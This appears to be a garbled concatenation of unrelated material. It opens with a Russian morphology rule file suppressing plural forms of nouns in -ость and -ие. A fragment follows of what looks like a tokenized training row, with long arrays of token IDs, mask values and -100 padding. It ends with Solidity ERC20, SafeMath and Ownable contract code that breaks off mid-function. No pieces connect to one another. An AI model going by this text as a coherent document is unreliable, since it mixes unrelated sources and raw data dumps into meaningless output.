DiscountPlural(Фетиний)
DiscountPlural(Фетиниям)
DiscountPlural(Фетиниями)
DiscountPlural(Фетиниях)
DiscountPlural(Фетиньи)
DiscountPlural(Фетиньям)
DiscountPlural(Фетиньями)
DiscountPlural(Фетиньях)
DiscountPlural(Хавронии)
DiscountPlural(Хавроний)
DiscountPlural(Хаврониям)
DiscountPlural(Хаврониями)
DiscountPlural(Хаврониях)
DiscountPlural(Цецилии)
DiscountPlural(Цецилий)
DiscountPlural(Цецилиям)
DiscountPlural(Цецилиями)
DiscountPlural(Цецилиях)
DiscountPlural(Эмилии)
DiscountPlural(Эмилий)
DiscountPlural(Эмилиям)
DiscountPlural(Эмилиями)
DiscountPlural(Эмилиях)
DiscountPlural(Юлиании)
DiscountPlural(Юлианий)
DiscountPlural(Юлианиям)
DiscountPlural(Юлианиями)
DiscountPlural(Юлианиях)
DiscountPlural(Юлии)
DiscountPlural(Юлий)
DiscountPlural(Юлиям)
DiscountPlural(Юлиями)
DiscountPlural(Юлиях)
/*
подавляем формы множ. числа для существительных на -ОСТЬ и -ИЕ
список форм получен из SQL словаря запросом:
select distinct 'DiscountPlural('+F.name+')'
from sg_entry E, sg_form F, sg_form_coord FC, sg_form_coord FC2
where E.id_class=9 and
F.id_entry=E.id and
FC.id_entry=E.id and FC.iform=F.iform and FC.icoord=13 and FC.istate=1 and
FC2.id_entry=E.id and FC2.iform=F.iform and FC2.icoord=24 and FC2.istate in (0,6)
and (E.name like '%ИЕ' or E.name like '%ЬЕ' or E.name like '%ОСТЬ')
*/
DiscountPlural(абсолютизирования)
DiscountPlural(абсолютизированья)
DiscountPlural(абстрагирования)
DiscountPlural(абстрагированья)
DiscountPlural(авансирования)
DiscountPlural(авансированья)
DiscountPlural(авиапредприятия)
DiscountPlural(авиапутешествия)
DiscountPlural(авиасоединения)
//DiscountPlural(автоколебания)
//DiscountPlural(автопредприятия)
//DiscountPlural(агропредприятия)
DiscountPlural(активирования)
DiscountPlural(активности)
DiscountPlural(акционирования)
DiscountPlural(анкетирования)
DiscountPlural(аномальности)
DiscountPlural(архиглупости)
DiscountPlural(ассигнования)
//DiscountPlural(ателье)
//DiscountPlural(аудиосообщения)
DiscountPlural(ауканья)
DiscountPlural(аханья)
DiscountPlural(бальзамирования)
//DiscountPlural(банальности)
DiscountPlural(бандподполья)
//DiscountPlural(бандформирования)
DiscountPlural(барахтания)
DiscountPlural(бдения)
//DiscountPlural(бедствия)
DiscountPlural(бедствования)
DiscountPlural(бездарности)
DiscountPlural(беззакония)
//DiscountPlural(безобразия)
DiscountPlural(безумия)
DiscountPlural(безумствования)
DiscountPlural(беременности)
DiscountPlural(бесконечности)
DiscountPlural(бескрайности)
DiscountPlural(бестактности)
DiscountPlural(бесцеремонности)
DiscountPlural(бибиканья)
//DiscountPlural(биения)
DiscountPlural(биоизлучения)
DiscountPlural(биоизмерения)
DiscountPlural(благовещения)
DiscountPlural(благовещенья)
DiscountPlural(благоволения)
//DiscountPlural(благовония)
//DiscountPlural(благовонья)
DiscountPlural(благовремения)
DiscountPlural(благовременья)
DiscountPlural(благоглупости)
DiscountPlural(благоговения)
DiscountPlural(благоговенья)
DiscountPlural(благодарения)
DiscountPlural(благодарности)
DiscountPlural(благодеяния)
DiscountPlural(благодеянья)
DiscountPlural(благозвучия)
DiscountPlural(благозвучья)
DiscountPlural(благолепия)
DiscountPlural(благолепья)
DiscountPlural(благоприличия)
DiscountPlural(благоприличья)
DiscountPlural(благородия)
DiscountPlural(благородья)
DiscountPlural(благословения)
DiscountPlural(благословенья)
DiscountPlural(благосостояния)
DiscountPlural(благосостоянья)
DiscountPlural(благости)
DiscountPlural(благоухания)
DiscountPlural(благоуханья)
DiscountPlural(близости)
//DiscountPlural(блуждания)
//DiscountPlural(блужданья)
DiscountPlural(богопочитания)
DiscountPlural(богослужения)
DiscountPlural(бодания)
DiscountPlural(боестолкновения)
DiscountPlural(болтания)
DiscountPlural(бомбометания)
DiscountPlural(бормотания)
DiscountPlural(бормотанья)
DiscountPlural(боронования)
DiscountPlural(боронованья)
DiscountPlural(бравирования)
DiscountPlural(бравированья)
DiscountPlural(бракосочетания)
DiscountPlural(бракосочетанья)
DiscountPlural(братания)
DiscountPlural(братанья)
DiscountPlural(брожения)
DiscountPlural(броженья)
DiscountPlural(бросания)
DiscountPlural(брыкания)
DiscountPlural(брыканья)
DiscountPlural(брюзжания)
DiscountPlural(брюзжанья)
//DiscountPlural(буквосочетания)
DiscountPlural(бурления)
DiscountPlural(бурленья)
DiscountPlural(бурчания)
DiscountPlural(бурчанья)
DiscountPlural(бухтения)
DiscountPlural(бытописания)
DiscountPlural(бытописанья)
DiscountPlural(валентности)
DiscountPlural(валяния)
DiscountPlural(варенья)
DiscountPlural(ваяния)
DiscountPlural(вбивания)
DiscountPlural(вбирания)
DiscountPlural(вбрасывания)
DiscountPlural(вбухивания)
DiscountPlural(вваливания)
DiscountPlural(введения)
DiscountPlural(ввертывания)
DiscountPlural(ввертыванья)
DiscountPlural(ввинчивания)
DiscountPlural(ввинчиванья)
DiscountPlural(вгрызания)
DiscountPlural(вдавливания)
DiscountPlural(вдевания)
DiscountPlural(вдергивания)
DiscountPlural(вдохновения)
DiscountPlural(вдохновенья)
DiscountPlural(вдувания)
DiscountPlural(ведомости)
DiscountPlural(вежливости)
DiscountPlural(везения)
DiscountPlural(везенья)
DiscountPlural(веления)
DiscountPlural(венеротрясения)
DiscountPlural(венчания)
DiscountPlural(венчанья)
//DiscountPlural(верования)
DiscountPlural(вероисповедания)
//DiscountPlural(вероучения)
//DiscountPlural(вероученья)
DiscountPlural(вероятности)
//DiscountPlural(верховья)
//DiscountPlural(ветвления)
//DiscountPlural(ветвленья)
DiscountPlural(ветшания)
DiscountPlural(вечности)
DiscountPlural(вещания)
//DiscountPlural(веяния)
DiscountPlural(вживления)
DiscountPlural(взаимовлияния)
DiscountPlural(взаимодействия)
//DiscountPlural(взаимозависимости)
//DiscountPlural(взаимоотношения)
DiscountPlural(взаимоположения)
DiscountPlural(взаимопревращения)
DiscountPlural(взаимопроникновения)
DiscountPlural(взбивания)
DiscountPlural(взбрыкивания)
DiscountPlural(взбухания)
DiscountPlural(взвевания)
DiscountPlural(взвешивания)
DiscountPlural(взвизгивания)
DiscountPlural(взвывания)
DiscountPlural(взгорья)
DiscountPlural(взгромождения)
DiscountPlural(вздевания)
DiscountPlural(вздрагивания)
DiscountPlural(вздувания)
DiscountPlural(вздутия)
DiscountPlural(вздыбливания)
DiscountPlural(вздымания)
DiscountPlural(взлаивания)
DiscountPlural(взмахивания)
DiscountPlural(взмывания)
DiscountPlural(взыскания)
DiscountPlural(взятия)
//DiscountPlural(видения)
//DiscountPlural(виденья)
DiscountPlural(видеоизображения)
DiscountPlural(видеонаблюдения)
//DiscountPlural(видеопослания)
DiscountPlural(видеоприложения)
DiscountPlural(видимости)
DiscountPlural(видоизменения)
DiscountPlural(визжания)
DiscountPlural(визжанья)
DiscountPlural(виляния)
DiscountPlural(висения)
DiscountPlural(вихляния)
DiscountPlural(вклинивания)
DiscountPlural(включения)
DiscountPlural(вкрапления)
DiscountPlural(вкручивания)
DiscountPlural(вкусности)
DiscountPlural(владения)
DiscountPlural(влезания)
DiscountPlural(влечения)
//DiscountPlural(вливания)
//DiscountPlural(влияния)
//DiscountPlural(вложения)
DiscountPlural(влюбленности)
DiscountPlural(внедрения)
DiscountPlural(внезапности)
DiscountPlural(внесения)
DiscountPlural(внешности)
//DiscountPlural(внутренности)
DiscountPlural(внушения)
DiscountPlural(водопользования)
DiscountPlural(водопользованья)
DiscountPlural(водружения)
DiscountPlural(вожделения)
DiscountPlural(вожделенья)
DiscountPlural(возвращения)
DiscountPlural(возвышения)
DiscountPlural(возвышенности)
DiscountPlural(возгорания)
DiscountPlural(воздаяния)
//DiscountPlural(воздействия)
//DiscountPlural(воззвания)
//DiscountPlural(воззрения)
//DiscountPlural(возлияния)
DiscountPlural(возмездия)
DiscountPlural(возможности)
DiscountPlural(возмущения)
DiscountPlural(вознаграждения)
//DiscountPlural(возражения)
DiscountPlural(волеизъявления)
//DiscountPlural(волнения)
DiscountPlural(волненья)
DiscountPlural(волости)
DiscountPlural(вольности)
DiscountPlural(вооружения)
DiscountPlural(воплощения)
DiscountPlural(воплощенья)
//DiscountPlural(восклицания)
DiscountPlural(воскресения)
DiscountPlural(воскресенья)
DiscountPlural(воскрешения)
DiscountPlural(воспаления)
DiscountPlural(воспевания)
//DiscountPlural(воспоминания)
//DiscountPlural(воспоминанья)
DiscountPlural(восприятия)
DiscountPlural(воспроизведения)
DiscountPlural(восславления)
DiscountPlural(воссоединения)
//DiscountPlural(восстания)
DiscountPlural(восстановления)
DiscountPlural(восхваления)
DiscountPlural(восхищения)
DiscountPlural(восхождения)
DiscountPlural(восьмидесятилетия)
DiscountPlural(восьмистишия)
//DiscountPlural(впечатления)
//DiscountPlural(впечатленья)
DiscountPlural(впрыскивания)
DiscountPlural(времяисчисления)
DiscountPlural(вручения)
DiscountPlural(вселения)
DiscountPlural(вскрикивания)
DiscountPlural(вскрытия)
DiscountPlural(всплытия)
DiscountPlural(вспрыгивания)
DiscountPlural(вспухания)
DiscountPlural(вспучивания)
DiscountPlural(вспушивания)
DiscountPlural(вставления)
DiscountPlural(встревания)
DiscountPlural(встряхивания)
DiscountPlural(вступления)
DiscountPlural(всучивания)
DiscountPlural(всхлипывания)
DiscountPlural(всхрапывания)
DiscountPlural(всыпания)
DiscountPlural(вталкивания)
DiscountPlural(втирания)
DiscountPlural(вторжения)
DiscountPlural(втравливания)
DiscountPlural(вульгарности)
//DiscountPlural(вхождения)
DiscountPlural(выбывания)
DiscountPlural(выбытия)
DiscountPlural(выведывания)
DiscountPlural(выдвижения)
DiscountPlural(выделения)
DiscountPlural(выделывания)
DiscountPlural(выдумывания)
DiscountPlural(выздоравливания)
DiscountPlural(выискивания)
DiscountPlural(выказывания)
DiscountPlural(выключения)
DiscountPlural(выковывания)
DiscountPlural(выкорчевывания)
DiscountPlural(выкручивания)
DiscountPlural(вылечивания)
DiscountPlural(выпадения)
DiscountPlural(выпекания)
DiscountPlural(выполнения)
DiscountPlural(выпрастывания)
//DiscountPlural(выпуклости)
DiscountPlural(выравнивания)
//DiscountPlural(выражения)
//DiscountPlural(выраженья)
DiscountPlural(высвистывания)
DiscountPlural(выселения)
DiscountPlural(высечения)
//DiscountPlural(высказывания)
DiscountPlural(высокоблагородия)
DiscountPlural(высокогорья)
DiscountPlural(выстуживания)
DiscountPlural(выступления)
//DiscountPlural(высыпания)
DiscountPlural(вычеркивания)
//DiscountPlural(вычисления)
DiscountPlural(вычитания)
DiscountPlural(вычитывания)
DiscountPlural(вышагивания)
DiscountPlural(вышивания)
DiscountPlural(вышучивания)
DiscountPlural(выявления)
DiscountPlural(выяснения)
DiscountPlural(вяканья)
DiscountPlural(гадания)
//DiscountPlural(гадости)
DiscountPlural(гашения)
//DiscountPlural(гидросооружения)
//DiscountPlural(гиперплоскости)
DiscountPlural(гипноизлучения)
DiscountPlural(главнокомандования)
DiscountPlural(глиссирования)
DiscountPlural(глиссированья)
DiscountPlural(глумления)
DiscountPlural(глумленья)
//DiscountPlural(глупости)
DiscountPlural(гнездования)
DiscountPlural(гнездованья)
//DiscountPlural(гнездовья)
DiscountPlural(гноения)
//DiscountPlural(гнусности)
DiscountPlural(говенья)
DiscountPlural(головокружения)
DiscountPlural(головокруженья)
DiscountPlural(голосования)
//DiscountPlural(гонения)
//DiscountPlural(госпредприятия)
DiscountPlural(госсобственности)
//DiscountPlural(гостей)
//DiscountPlural(гости)
//DiscountPlural(госучреждения)
DiscountPlural(грехопадения)
DiscountPlural(грубости)
DiscountPlural(группирования)
//DiscountPlural(гуляния)
//DiscountPlural(гулянья)
DiscountPlural(давления)
DiscountPlural(давности)
DiscountPlural(дактилоскопирования)
DiscountPlural(данности)
DiscountPlural(дарения)
DiscountPlural(дарования)
DiscountPlural(датирования)
DiscountPlural(двенадцатилетия)
//DiscountPlural(движения)
//DiscountPlural(движенья)
DiscountPlural(двоеточия)
//DiscountPlural(двусмысленности)
//DiscountPlural(двустишия)
DiscountPlural(двухсотлетия)
DiscountPlural(девяностолетия)
DiscountPlural(деепричастия)
//DiscountPlural(действия)
DiscountPlural(деления)
DiscountPlural(деликатности)
DiscountPlural(демонстрирования)
DiscountPlural(дергания)
DiscountPlural(дерганья)
DiscountPlural(держания)
DiscountPlural(дерзания)
DiscountPlural(дерзновения)
DiscountPlural(дерзости)
DiscountPlural(десятиборья)
DiscountPlural(десятилетия)
//DiscountPlural(деяния)
//DiscountPlural(деянья)
DiscountPlural(деятельности) // являются высшим критерием и конечной целью профессиональной деятельности госслужащего
DiscountPlural(диагностирования)
DiscountPlural(дикости)
//DiscountPlural(дипотношения)
DiscountPlural(добавления)
DiscountPlural(добродетельности)
//DiscountPlural(доверенности)
DiscountPlural(доворачивания)
DiscountPlural(договоренности)
DiscountPlural(дозволения)
DiscountPlural(долечивания)
//DiscountPlural(должности)
//DiscountPlural(домовладения)
DiscountPlural(домоправления)
//DiscountPlural(домостроения)
DiscountPlural(домоуправления)
DiscountPlural(домысливания)
DiscountPlural(донесения)
DiscountPlural(доперечисления)
DiscountPlural(дописывания)
//DiscountPlural(дополнения)
DiscountPlural(допрашивания)
//DiscountPlural(допущения)
DiscountPlural(доставания)
DiscountPlural(доставления)
//DiscountPlural(достижения)
DiscountPlural(достоверности)
DiscountPlural(достопамятности)
DiscountPlural(достояния)
//DiscountPlural(досье)
DiscountPlural(дотрагивания)
DiscountPlural(доукомплектования)
//DiscountPlural(драгоценности)
//DiscountPlural(древности)
//DiscountPlural(дрыганья)
DiscountPlural(дудения)
//DiscountPlural(дуновения)
DiscountPlural(дуракаваляния)
DiscountPlural(дурновкусия)
DiscountPlural(дурости)
DiscountPlural(единообразия)
DiscountPlural(еканья)
//DiscountPlural(емкости)
DiscountPlural(ерзанья)
DiscountPlural(жалования)
DiscountPlural(жалованья)
//DiscountPlural(желания)
//DiscountPlural(желанья)
DiscountPlural(жертвоприношения)
DiscountPlural(жестокости)
DiscountPlural(живописания)
DiscountPlural(живописанья)
//DiscountPlural(жидкости)
DiscountPlural(жизнеописания)
DiscountPlural(жизнепонимания)
//DiscountPlural(жития)
DiscountPlural(жонглирования)
DiscountPlural(жонглированья)
//DiscountPlural(заблуждения)
//DiscountPlural(заблужденья)
//DiscountPlural(заболевания)
//DiscountPlural(заведения)
//DiscountPlural(заведенья)
//DiscountPlural(заверения)
DiscountPlural(завершения)
DiscountPlural(завещания)
DiscountPlural(завещанья)
DiscountPlural(зависания)
//DiscountPlural(зависимости)
//DiscountPlural(завихрения)
//DiscountPlural(завоевания)
//DiscountPlural(завывания)
//DiscountPlural(завыванья)
DiscountPlural(завышения)
DiscountPlural(заглавия)
DiscountPlural(заглубления)
DiscountPlural(заглушения)
DiscountPlural(заграждения)
DiscountPlural(загромождения)
DiscountPlural(загрубения)
DiscountPlural(загрязнения)
DiscountPlural(загрязненности)
DiscountPlural(загустевания)
//DiscountPlural(задания)
DiscountPlural(задержания)
DiscountPlural(задолженности)
DiscountPlural(задымления)
DiscountPlural(зажатия)
DiscountPlural(зажатости)
DiscountPlural(зазрения)
DiscountPlural(зазывания)
DiscountPlural(заигрывания)
DiscountPlural(заикания)
//DiscountPlural(заимствования)
DiscountPlural(закаливания)
//DiscountPlural(заклинания)
//DiscountPlural(заклинанья)
DiscountPlural(заключения)
//DiscountPlural(заклятия)
//DiscountPlural(заклятья)
//DiscountPlural(закономерности)
DiscountPlural(законопослушания)
DiscountPlural(закрашивания)
//DiscountPlural(закругления)
//DiscountPlural(закругленности)
DiscountPlural(закручивания)
DiscountPlural(закрытия)
DiscountPlural(заксобрания)
DiscountPlural(залегания)
DiscountPlural(заледенения)
DiscountPlural(залития)
//DiscountPlural(замечания)
DiscountPlural(замирения)
//DiscountPlural(замыкания)
DiscountPlural(замысловатости)
DiscountPlural(замятия)
DiscountPlural(занижения)
DiscountPlural(занимания)
//DiscountPlural(занятия)
//DiscountPlural(занятья)
DiscountPlural(западания)
DiscountPlural(западения)
DiscountPlural(запаздывания)
DiscountPlural(заполнения)
DiscountPlural(заполняемости)
DiscountPlural(запугивания)
DiscountPlural(запутанности)
//DiscountPlural(запястья)
DiscountPlural(заседания)
DiscountPlural(засорения)
DiscountPlural(застолья)
DiscountPlural(застревания)
DiscountPlural(затмения)
DiscountPlural(заточения)
//DiscountPlural(затруднения)
DiscountPlural(затушевывания)
DiscountPlural(заумности)
DiscountPlural(захватывания)
DiscountPlural(захмеления)
DiscountPlural(захолустья)
DiscountPlural(зацикливания)
DiscountPlural(зачатия)
DiscountPlural(зачерствения)
DiscountPlural(зачисления)
//DiscountPlural(заявления)
//DiscountPlural(звания)
DiscountPlural(званья)
DiscountPlural(звукоподражания)
DiscountPlural(звукосочетания)
//DiscountPlural(здания)
DiscountPlural(здоровья)
DiscountPlural(зелья)
DiscountPlural(землевладения)
DiscountPlural(землетрясения)
//DiscountPlural(зимовья)
DiscountPlural(зияния)
//DiscountPlural(злодеяния)
//DiscountPlural(злоключения)
//DiscountPlural(злоупотребления)
//DiscountPlural(знаменитости)
//DiscountPlural(знамения)
//DiscountPlural(знаменья)
//DiscountPlural(знания)
//DiscountPlural(значения)
//DiscountPlural(значенья)
DiscountPlural(значимости)
DiscountPlural(избавленья)
DiscountPlural(избивания)
DiscountPlural(избиения)
DiscountPlural(избрания)
//DiscountPlural(изваяния)
//DiscountPlural(изваянья)
DiscountPlural(изведения)
//DiscountPlural(извержения)
//DiscountPlural(известия)
//DiscountPlural(извещения)
//DiscountPlural(извинения)
DiscountPlural(извлечения)
DiscountPlural(изволения)
//DiscountPlural(извращения)
DiscountPlural(изгнания)
DiscountPlural(изгнанья)
DiscountPlural(изголовья)
//DiscountPlural(издания)
//DiscountPlural(изделия)
DiscountPlural(излития)
DiscountPlural(излияния)
DiscountPlural(изложения)
DiscountPlural(излучения)
DiscountPlural(изменения)
DiscountPlural(измерения)
DiscountPlural(измышления)
//DiscountPlural(изнасилования)
DiscountPlural(изобличения)
//DiscountPlural(изображения)
//DiscountPlural(изобретения)
//DiscountPlural(изречения)
DiscountPlural(изъявления)
DiscountPlural(изъязвления)
//DiscountPlural(изъятия)
DiscountPlural(изысканности)
DiscountPlural(изящности)
DiscountPlural(иконопочитания)
DiscountPlural(именитости)
//DiscountPlural(имения)
//DiscountPlural(именья)
DiscountPlural(имитирования)
DiscountPlural(индивидуальности)
DiscountPlural(индуктивности)
DiscountPlural(инкассирования)
DiscountPlural(иносказания)
DiscountPlural(интимности)
DiscountPlural(инцидентности)
//DiscountPlural(искажения)
//DiscountPlural(искания)
//DiscountPlural(исключения)
DiscountPlural(искрения)
//DiscountPlural(искривления)
DiscountPlural(искушения)
//DiscountPlural(испарения)
DiscountPlural(исповедания)
DiscountPlural(испоганивания)
//DiscountPlural(исправления)
//DiscountPlural(испражнения)
//DiscountPlural(испытания)
DiscountPlural(иссечения)
//DiscountPlural(исследования)
DiscountPlural(Универсиады)
| Потребовать усмирения Петрограда.
| wordform_score усмирения { число:мн }=-10 | 7,303,362 | [
1,
145,
258,
145,
127,
146,
229,
146,
227,
145,
118,
145,
114,
145,
127,
145,
115,
145,
113,
146,
229,
146,
239,
225,
146,
230,
146,
228,
145,
125,
145,
121,
146,
227,
145,
118,
145,
126,
145,
121,
146,
242,
225,
145,
258,
145,
118,
146,
229,
146,
227,
145,
127,
145,
116,
146,
227,
145,
113,
145,
117,
145,
113,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1095,
687,
67,
6355,
225,
146,
230,
146,
228,
145,
125,
145,
121,
146,
227,
145,
118,
145,
126,
145,
121,
146,
242,
288,
225,
146,
234,
145,
121,
146,
228,
145,
124,
145,
127,
30,
145,
125,
145,
126,
289,
29711,
2163,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
// File: contracts/Token/IERC20.sol
pragma solidity ^0.4.24;
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: contracts/library/SafeMath.sol
pragma solidity ^0.4.24;
/**
* @title SafeMath
* @dev Math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Adds two numbers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Divides two numbers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
// File: contracts/Token/ERC20.sol
pragma solidity ^0.4.24;
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md
* Originally based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) internal _balances;
mapping (address => mapping (address => uint256)) internal _allowed;
uint256 internal _totalSupply;
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev Gets the balance of the specified address.
* @param owner The address to query the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param owner address The address which owns the funds.
* @param spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address owner,
address spender
)
public
view
returns (uint256)
{
return _allowed[owner][spender];
}
/**
* @dev Transfer token for a specified address
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param spender The address which will spend the funds.
* @param value The amount of tokens to be spent.
*/
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
/**
* @dev Transfer tokens from one address to another
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address from,
address to,
uint256 value
)
public
returns (bool)
{
require(value <= _allowed[from][msg.sender]);
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
return true;
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param spender The address which will spend the funds.
* @param addedValue The amount of tokens to increase the allowance by.
*/
function increaseAllowance(
address spender,
uint256 addedValue
)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (
_allowed[msg.sender][spender].add(addedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param spender The address which will spend the funds.
* @param subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseAllowance(
address spender,
uint256 subtractedValue
)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (
_allowed[msg.sender][spender].sub(subtractedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/**
* @dev Transfer token for a specified addresses
* @param from The address to transfer from.
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function _transfer(address from, address to, uint256 value) internal {
require(value <= _balances[from]);
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
/**
* @dev Internal function that mints an amount of the token and assigns it to
* an account. This encapsulates the modification of balances such that the
* proper events are emitted.
* @param account The account that will receive the created tokens.
* @param value The amount that will be created.
*/
function _mint(address account, uint256 value) internal {
require(account != 0);
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
}
// File: contracts/library/Ownable.sol
pragma solidity ^0.4.24;
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
/**
* @return the address of the owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner());
_;
}
/**
* @return true if `msg.sender` is the owner of the contract.
*/
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
